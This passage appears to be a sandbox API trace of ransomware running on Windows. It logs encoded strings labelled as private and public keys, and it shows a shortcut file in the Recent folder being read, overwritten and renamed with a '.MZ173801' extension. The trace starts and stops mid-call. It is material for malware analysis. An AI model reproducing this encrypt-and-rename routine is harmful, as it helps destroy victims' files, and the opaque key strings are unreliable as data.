lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.299] GetCurrentThreadId () returned 0xab4 [0151.299] GetCurrentThreadId () returned 0xab4 [0151.299] GetCurrentThreadId () returned 0xab4 [0151.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.300] GetCurrentThreadId () returned 0xab4 [0151.300] GetCurrentThreadId () returned 0xab4 [0151.300] GetCurrentThreadId () returned 0xab4 [0151.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ozc5X.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ozc5x.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.301] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.301] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.301] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3be [0151.301] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.301] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3be, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3be, lpOverlapped=0x0) returned 1 [0151.302] CloseHandle (hObject=0x280) returned 1 [0151.302] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ozc5X.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ozc5x.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.303] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3be, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3be, lpOverlapped=0x0) returned 1 [0151.304] CloseHandle (hObject=0x280) returned 1 [0151.305] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ozc5X.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ozc5x.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ozc5X.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ozc5x.lnk.mz173801")) returned 1 [0151.306] GetCurrentThreadId () returned 0xab4 [0151.306] GetCurrentThreadId () returned 0xab4 [0151.306] GetCurrentThreadId () returned 0xab4 [0151.306] GetCurrentThreadId () returned 0xab4 [0151.306] GetCurrentThreadId () returned 0xab4 [0151.306] GetCurrentThreadId () returned 0xab4 [0151.306] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf49b3fd9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf49b3fd9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf49b3fd9, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="pa0XQGFgpgnvg.flv.lnk", cAlternateFileName="PA0XQG~1.LNK")) returned 1 [0151.306] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.306] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.306] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pa0XQGFgpgnvg.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pa0xqgfgpgnvg.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf49b3fd9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf49b3fd9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf49b3fd9, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x4e6)) returned 1 [0151.307] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pa0XQGFgpgnvg.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pa0xqgfgpgnvg.flv.lnk")) returned 0x20 [0151.307] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pa0XQGFgpgnvg.flv.lnk", dwFileAttributes=0x80) returned 1 [0151.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 